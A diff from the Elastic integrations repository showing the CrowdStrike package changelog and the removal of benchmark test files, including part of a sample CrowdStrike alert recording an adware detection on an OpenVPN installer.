link: https://github.com/elastic/integrations/pull/13763 -- version: "1.63.1" - changes: - - description: Fix default request trace enabled behavior. - type: bugfix - link: https://github.com/elastic/integrations/pull/13712 -- version: "1.63.0" - changes: - - description: Update `host.*` ECS mappings. - type: enhancement - link: https://github.com/elastic/integrations/pull/13373 -- version: "1.62.0" - changes: - - description: Updated integration logo. - type: enhancement - link: https://github.com/elastic/integrations/pull/12345 -- version: "1.61.1" - changes: - - description: Fix condition in date processors for the FDR data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/13394 -- version: "1.61.0" - changes: - - description: Improve performance of script processors in fdr data stream ingest pipeline. - type: enhancement - link: https://github.com/elastic/integrations/pull/13325 -- version: "1.60.0" - changes: - - description: Add option to delete long fields thus avoiding _ignored fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/13157 -- version: "1.59.0" - changes: - - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon. - type: enhancement - link: https://github.com/elastic/integrations/pull/13334 -- version: "1.58.0" - changes: - - description: Add support for `EppDetectionSummaryEvent` events. - type: enhancement - link: https://github.com/elastic/integrations/pull/12869 -- version: "1.57.0" - changes: - - description: Reduce storage load for less useful or constant fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/13260 -- version: "1.56.1" - changes: - - description: Expose missing "Number of Workers" settings to the user. - type: bugfix - link: https://github.com/elastic/integrations/pull/13196 -- version: "1.56.0" - changes: - - description: Optionally allow data deduplication. - type: enhancement - link: https://github.com/elastic/integrations/pull/13109 - - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates. - type: enhancement - link: https://github.com/elastic/integrations/pull/13109 -- version: "1.55.0" - changes: - - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/13056 -- version: "1.54.0" - changes: - - description: Enable request trace log removal. - type: enhancement - link: https://github.com/elastic/integrations/pull/13035 -- version: "1.53.0" - changes: - - description: Add support of vulnerability data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/12973 - - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards. - type: enhancement - link: https://github.com/elastic/integrations/pull/12973 -- version: "1.52.3" - changes: - - description: Fix condition in date processors for the FDR data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/13397 -- version: "1.52.2" - changes: - - description: Expose missing "Number of Workers" settings to the user. - type: bugfix - link: https://github.com/elastic/integrations/pull/13296 -- version: "1.52.1" - changes: - - description: Fixed parsing of RawProcessIDs in edge case scenarios. - type: bugfix - link: http://github.com/elastic/integrations/pull/12860 -- version: "1.52.0" - changes: - - description: Add handling for domain names in SMB events. - type: enhancement - link: https://github.com/elastic/integrations/pull/12712 - - description: Fix issues/gaps in handling of domain names in DNS events. - type: bugfix - link: https://github.com/elastic/integrations/pull/12712 - - description: Fix over setting of `url.scheme`. - type: bugfix - link: https://github.com/elastic/integrations/pull/12712 -- version: "1.51.2" - changes: - - description: Avoid using dynamic template for flattened fields. - type: bugfix - link: http://github.com/elastic/integrations/pull/12624 -- version: "1.51.1" - changes: - - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. - type: bugfix - link: https://github.com/elastic/integrations/pull/12781 -- version: "1.51.0" - changes: - - description: Update Kibana constraint to support 9.0.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/12593 -- version: "1.50.0" - changes: - - description: Allow the usage of deprecated log input and support for stack 9.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/12503 -- version: "1.49.1" - changes: - - description: Fix network direction handling for FDR data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/12508 - - description: Handle invalid IP addresses robustly. - type: bugfix - link: https://github.com/elastic/integrations/pull/12508 -- version: "1.49.0" - changes: - - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". - type: enhancement - link: https://github.com/elastic/integrations/pull/12109 -- version: "1.48.0" - changes: - - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". - type: enhancement - link: https://github.com/elastic/integrations/pull/12046 -- version: "1.47.0" - changes: - - description: Add Support of CrowdStrike Event Stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/11773 -- version: "1.46.0" - changes: - - description: Extract user and host names from the name field. - type: enhancement - link: https://github.com/elastic/integrations/pull/11804 - - description: Correct use of `related.hash` to `related.hosts`. - type: bugfix - link: https://github.com/elastic/integrations/pull/11804 -- version: "1.45.1" - changes: - - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard. - type: bugfix - link: https://github.com/elastic/integrations/pull/11739 - - description: Use host.name field for `Hostname` control in Falcon Overview dashboard. - type: bugfix - link: https://github.com/elastic/integrations/pull/11739 - - description: Remove unused field control `observer.address` from Falcon Overview dashboard. - type: bugfix - link: https://github.com/elastic/integrations/pull/11739 - - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard. - type: bugfix - link: https://github.com/elastic/integrations/pull/11739 -- version: "1.45.0" - changes: - - description: Add support for FQL queries in `alert` and `host` data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/11734 -- version: "1.44.0" - changes: - - description: Map additional fields observed in alert data. - type: enhancement - link: https://github.com/elastic/integrations/pull/11724 -- version: "1.43.0" - changes: - - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`. - type: enhancement - link: https://github.com/elastic/integrations/pull/11282 -- version: "1.42.2" - changes: - - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. - type: bugfix - link: https://github.com/elastic/integrations/pull/11314 -- version: "1.42.1" - changes: - - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. - type: bugfix - link: https://github.com/elastic/integrations/pull/11284 -- version: "1.42.0" - changes: - - description: Add support of IDP and EPP alert fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/11135 -- version: "1.41.1" - changes: - - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14. - type: bugfix - link: https://github.com/elastic/integrations/pull/11147 -- version: "1.41.0" - changes: - - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`. - type: enhancement - link: https://github.com/elastic/integrations/pull/11012 -- version: "1.40.1" - changes: - - description: Fix mapping for assessment events. - type: bugfix - link: https://github.com/elastic/integrations/pull/11023 - - description: Fix handling of cases where AIP is present but empty. - type: bugfix - link: https://github.com/elastic/integrations/pull/11023 -- version: "1.40.0" - changes: - - description: "Allow @custom pipeline access to event.original without setting preserve_original_event." - type: enhancement - link: https://github.com/elastic/integrations/pull/10897 -- version: "1.39.3" - changes: - - description: Fix handling of event.created and timestamp fields for FDR events. - type: bugfix - link: https://github.com/elastic/integrations/pull/10862 -- version: "1.39.2" - changes: - - description: Fix cursor timestamp handling. - type: bugfix - link: https://github.com/elastic/integrations/pull/10694 -- version: "1.39.1" - changes: - - description: Return empty `events` array when no resources in alert, host. - type: bugfix - link: https://github.com/elastic/integrations/pull/10831 -- version: "1.39.0" - changes: - - description: Improve document deduplication behavior. - type: enhancement - link: https://github.com/elastic/integrations/pull/10567 -- version: "1.38.0" - changes: - - description: Improve error reporting for API request failures. - type: enhancement - link: https://github.com/elastic/integrations/pull/10346 -- version: "1.37.1" - changes: - - description: Fix threat.framework when prefix is `CS`. - type: bugfix - link: https://github.com/elastic/integrations/pull/10256 -- version: "1.37.0" - changes: - - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. - type: enhancement - link: https://github.com/elastic/integrations/pull/10135 -- version: "1.36.0" - changes: - - description: Add `device.id` field. - type: enhancement - link: https://github.com/elastic/integrations/pull/10124 -- version: "1.35.0" - changes: - - description: Make `host.ip` field conform to ECS field definition. - type: enhancement - link: https://github.com/elastic/integrations/pull/10120 -- version: "1.34.3" - changes: - - description: Fix handling of empty responses in CEL. - type: bugfix - link: https://github.com/elastic/integrations/pull/9972 -- version: "1.34.2" - changes: - - description: Resolved ignore_malformed issues with fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/9832 -- version: "1.34.1" - changes: - - description: Improve error handling for renaming processors. - type: bugfix - link: https://github.com/elastic/integrations/pull/9816 -- version: "1.34.0" - changes: - - description: Update manifest format version to v3.0.3. - type: enhancement - link: https://github.com/elastic/integrations/pull/9536 -- version: "1.33.0" - changes: - - description: Refactor alert and host collectors and improve error handling. - type: enhancement - link: https://github.com/elastic/integrations/pull/9716 -- version: "1.32.2" - changes: - - description: Fix geoip mapping to destination. - type: bugfix - link: https://github.com/elastic/integrations/pull/9738 -- version: "1.32.1" - changes: - - description: Fix cache option name in FDR data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/9436 -- version: "1.32.0" - changes: - - description: Set sensitive value as secret in cel input. - type: enhancement - link: https://github.com/elastic/integrations/pull/9238 -- version: "1.31.0" - changes: - - description: Add support for Alert and Host API endpoints. - type: enhancement - link: https://github.com/elastic/integrations/pull/8790 -- version: "1.30.0" - changes: - - description: Set sensitive values as secret. - type: enhancement - link: https://github.com/elastic/integrations/pull/8725 -- version: "1.29.0" - changes: - - description: Expose FDR cache options for more flexibility - type: enhancement - link: https://github.com/elastic/integrations/pull/9063 -- version: "1.28.3" - changes: - - description: Fix drive letter parsing. - type: bugfix - link: https://github.com/elastic/integrations/pull/9119 -- version: "1.28.2" - changes: - - description: Add missing type mapping for host fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/9030 -- version: "1.28.1" - changes: - - description: Changed owners - type: enhancement - link: https://github.com/elastic/integrations/pull/8943 -- version: "1.28.0" - changes: - - description: Enrich events with userinfo user details fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/8742 - - description: Map host and user metatdata to ECS fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/8742 -- version: "1.27.0" - changes: - - description: Allow aidmaster metadata to be retained after host enrichment. - type: enhancement - link: https://github.com/elastic/integrations/pull/8715 -- version: "1.26.2" - changes: - - description: Do not populate `related.hosts` with IP values. - type: bugfix - link: https://github.com/elastic/integrations/pull/8684 -- version: "1.26.1" - changes: - - description: Fix exclude_files pattern. - type: bugfix - link: https://github.com/elastic/integrations/pull/8635 -- version: "1.26.0" - changes: - - description: Enrich events with aidmaster host details fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/8474 -- version: 1.25.1 - changes: - - description: Add new events. - type: enhancement - link: https://github.com/elastic/integrations/pull/8498 -- version: 1.25.0 - changes: - - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon - type: enhancement - link: https://github.com/elastic/integrations/pull/8478 -- version: 1.24.0 - changes: - - description: ECS version updated to 8.11.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/8433 -- version: "1.23.1" - changes: - - description: Prefer ImageFileName for the value of process.executable. - type: bugfix - link: https://github.com/elastic/integrations/pull/8322 -- version: "1.23.0" - changes: - - description: Improve 'event.original' check to avoid errors if set. - type: enhancement - link: https://github.com/elastic/integrations/pull/8269 -- version: "1.22.1" - changes: - - description: Fix field mapping for LMHostIDs - type: bugfix - link: https://github.com/elastic/integrations/pull/8115 -- version: 1.22.0 - changes: - - description: Update the package format_version to 3.0.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/8025 -- version: 1.21.0 - changes: - - description: Correct invalid ECS field usages at root-level. - type: bugfix - link: https://github.com/elastic/integrations/pull/7968 -- version: 1.20.0 - changes: - - description: ECS version updated to 8.10.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/7905 -- version: "1.19.0" - changes: - - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI. - type: enhancement - link: https://github.com/elastic/integrations/pull/7789 -- version: "1.18.3" - changes: - - description: Convert Win32 timestamps to unix millisecond timestamps. - type: bugfix - link: https://github.com/elastic/integrations/pull/7734 -- version: "1.18.2" - changes: - - description: Fixed event tag handling for the falcon data-stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/7625 -- version: "1.18.1" - changes: - - description: Fixed Windows NT timestamp handling. - type: bugfix - link: https://github.com/elastic/integrations/pull/7548 -- version: "1.18.0" - changes: - - description: Update package to ECS 8.9.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/7107 -- version: "1.17.0" - changes: - - description: Document duration units. - type: enhancement - link: https://github.com/elastic/integrations/pull/6992 -- version: "1.16.1" - changes: - - description: Remove confusing error message tag prefix. - type: bugfix - link: https://github.com/elastic/integrations/pull/7105 -- version: "1.16.0" - changes: - - description: Adding new Event types to the Falcon Datastream. - type: enhancement - link: https://github.com/elastic/integrations/pull/6844 -- version: "1.15.0" - changes: - - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings. - type: enhancement - link: https://github.com/elastic/integrations/pull/6668 -- version: "1.14.0" - changes: - - description: Ensure event.kind is correctly set for pipeline errors. - type: enhancement - link: https://github.com/elastic/integrations/pull/6613 -- version: "1.13.0" - changes: - - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/6372 -- version: "1.12.1" - changes: - - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime. - type: bugfix - link: https://github.com/elastic/integrations/pull/5957 -- version: "1.12.0" - changes: - - description: Update package to ECS 8.7.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/5765 -- version: "1.11.2" - changes: - - description: Reduce duplicate document ingestion. - type: bugfix - link: https://github.com/elastic/integrations/pull/5669 -- version: "1.11.1" - changes: - - description: Multiple IPs in `aip` field and add new fields - type: bugfix - link: https://github.com/elastic/integrations/pull/5655 -- version: "1.11.0" - changes: - - description: Support `max_number_of_messages` in SQS mode - type: enhancement - link: https://github.com/elastic/integrations/pull/5595 -- version: "1.10.2" - changes: - - description: Remove redundant GeoIP look-ups. - type: bugfix - link: https://github.com/elastic/integrations/pull/5456 -- version: "1.10.1" - changes: - - description: Added categories and/or subcategories. - type: enhancement - link: https://github.com/elastic/integrations/pull/5123 -- version: "1.10.0" - changes: - - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields. - type: enhancement - link: https://github.com/elastic/integrations/pull/5168 -- version: "1.9.0" - changes: - - description: Update package to ECS 8.6.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/4576 -- version: "1.8.2" - changes: - - description: Fix parse of CommandLine in Falcon pipeline - type: bugfix - link: https://github.com/elastic/integrations/pull/4758 -- version: "1.8.1" - changes: - - description: Fix parse of flattened `process` fields in Falcon data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/4709 -- version: "1.8.0" - changes: - - description: Update package to ECS 8.5.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/4285 -- version: "1.7.0" - changes: - - description: Expose Default Region setting to UI - type: enhancement - link: https://github.com/elastic/integrations/pull/4158 -- version: "1.6.1" - changes: - - description: Use ECS geo.location definition. - type: enhancement - link: https://github.com/elastic/integrations/issues/4227 -- version: "1.6.0" - changes: - - description: Parse executable for `process.name` in FDR data stream - type: enhancement - link: https://github.com/elastic/integrations/pull/4133 -- version: "1.5.1" - changes: - - description: Set default endpoint to empty string - type: bugfix - link: https://github.com/elastic/integrations/pull/4103 -- version: "1.5.0" - changes: - - description: Update package to ECS 8.4.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/3843 -- version: "1.4.2" - changes: - - description: Fix proxy URL documentation rendering. - type: bugfix - link: https://github.com/elastic/integrations/pull/3881 -- version: "1.4.1" - changes: - - description: Update package name and description to align with standard wording - type: enhancement - link: https://github.com/elastic/integrations/pull/3478 -- version: "1.4.0" - changes: - - description: Update package to ECS 8.3.0. - type: enhancement - link: https://github.com/elastic/integrations/pull/3353 -- version: "1.3.4" - changes: - - description: Prevent missing `@timestamp` field. - type: bugfix - link: https://github.com/elastic/integrations/pull/3484 -- version: "1.3.3" - changes: - - description: Optimize FDR pipeline script processor. - type: bugfix - link: https://github.com/elastic/integrations/pull/3302 -- version: "1.3.2" - changes: - - description: Format source.mac as per ECS. - type: bugfix - link: https://github.com/elastic/integrations/pull/3302 -- version: "1.3.1" - changes: - - description: Update readme file. Added link to CrowdStrike docs - type: enhancement - link: https://github.com/elastic/integrations/pull/3057 -- version: "1.3.0" - changes: - - description: Update to ECS 8.2 - type: enhancement - link: https://github.com/elastic/integrations/pull/2779 -- version: "1.2.7" - changes: - - description: Move invalid field value - type: enhancement - link: https://github.com/elastic/integrations/pull/3098 -- version: "1.2.6" - changes: - - description: Add documentation for multi-fields - type: enhancement - link: https://github.com/elastic/integrations/pull/2916 -- version: "1.2.5" - changes: - - description: Add date parsing for BiosReleaseDate field. - type: bugfix - link: https://github.com/elastic/integrations/pull/2867 -- version: "1.2.4" - changes: - - description: Add missing field mapping for several event and host fields. - type: bugfix - link: https://github.com/elastic/integrations/pull/2869 -- version: "1.2.3" - changes: - - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document. - type: bugfix - link: https://github.com/elastic/integrations/pull/2701 -- version: "1.2.2" - changes: - - description: Add Ingest Pipeline script to map IANA Protocol Numbers - type: bugfix - link: https://github.com/elastic/integrations/pull/2470 -- version: "1.2.1" - changes: - - description: Fix issue with "Is FDR Queue" selector having no effect. - type: bugfix - link: https://github.com/elastic/integrations/pull/2653 -- version: "1.2.0" - changes: - - description: Update to ECS 8.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/2398 -- version: "1.1.2" - changes: - - description: Regenerate test files using the new GeoIP database - type: bugfix - link: https://github.com/elastic/integrations/pull/2339 -- version: "1.1.1" - changes: - - description: Change test public IPs to the supported subset - type: bugfix - link: https://github.com/elastic/integrations/pull/2327 -- version: "1.1.0" - changes: - - description: Add 8.0.0 version constraint - type: enhancement - link: https://github.com/elastic/integrations/pull/2229 -- version: "1.0.4" - changes: - - description: Add ability to read from both FDR provided and user owned SQS queues for FDR. - type: bugfix - link: https://github.com/elastic/integrations/pull/2198 - - description: Pipeline fixes for FDR - type: bugfix - link: https://github.com/elastic/integrations/pull/2198 -- version: "1.0.3" - changes: - - description: Uniform with guidelines - type: enhancement - link: https://github.com/elastic/integrations/pull/2022 -- version: "1.0.2" - changes: - - description: Update Title and Description. - type: enhancement - link: https://github.com/elastic/integrations/pull/1961 -- version: "1.0.1" - changes: - - description: Fix logic that checks for the 'forwarded' tag - type: bugfix - link: https://github.com/elastic/integrations/pull/1812 -- version: '1.0.0' - changes: - - description: make GA - type: enhancement - link: https://github.com/elastic/integrations/pull/1630 -- version: "0.9.0" - changes: - - description: Update to ECS 1.12.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/1655 -- version: "0.8.1" - changes: - - description: Add proxy config - type: enhancement - link: https://github.com/elastic/integrations/pull/1648 -- version: "0.8.0" - changes: - - description: Add FDR data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/1522 - - description: Change Falcon ECS fields definition to use references - type: enhancement - link: https://github.com/elastic/integrations/pull/1522 - - description: Add cleanup processor to Falcon - type: enhancement - link: https://github.com/elastic/integrations/pull/1522 -- version: '0.7.1' - changes: - - description: update to ECS 1.11.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/1378 -- version: "0.7.0" - changes: - - description: Update integration description - type: enhancement - link: https://github.com/elastic/integrations/pull/1364 -- version: "0.6.0" - changes: - - description: Set "event.module" and "event.dataset" - type: enhancement - link: https://github.com/elastic/integrations/pull/1258 -- version: "0.5.0" - changes: - - description: update to ECS 1.10.0 and add event.original options - type: enhancement - link: https://github.com/elastic/integrations/pull/1036 -- version: "0.4.1" - changes: - - description: update to ECS 1.9.0 - type: enhancement - link: https://github.com/elastic/integrations/pull/841 -- version: "0.4.0" - changes: - - description: Moves edge processing to ingest pipeline - type: enhancement - link: https://github.com/elastic/integrations/pull/774 -- version: "0.3.1" - changes: - - description: Change kibana.version constraint to be more conservative. - type: bugfix - link: https://github.com/elastic/integrations/pull/749 -- version: "0.1.0" - changes: - - description: initial release - type: enhancement # can be one of: enhancement, bugfix, breaking-change - link: https://github.com/elastic/integrations/pull/182 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml deleted file mode 100644 index 30a2b50cf6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml +++ /dev/null @@ -1 +0,0 @@ -num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log deleted file mode 100644 index c0e095d6dd..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log +++ /dev/null @@ -1,10 +0,0 @@ -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp",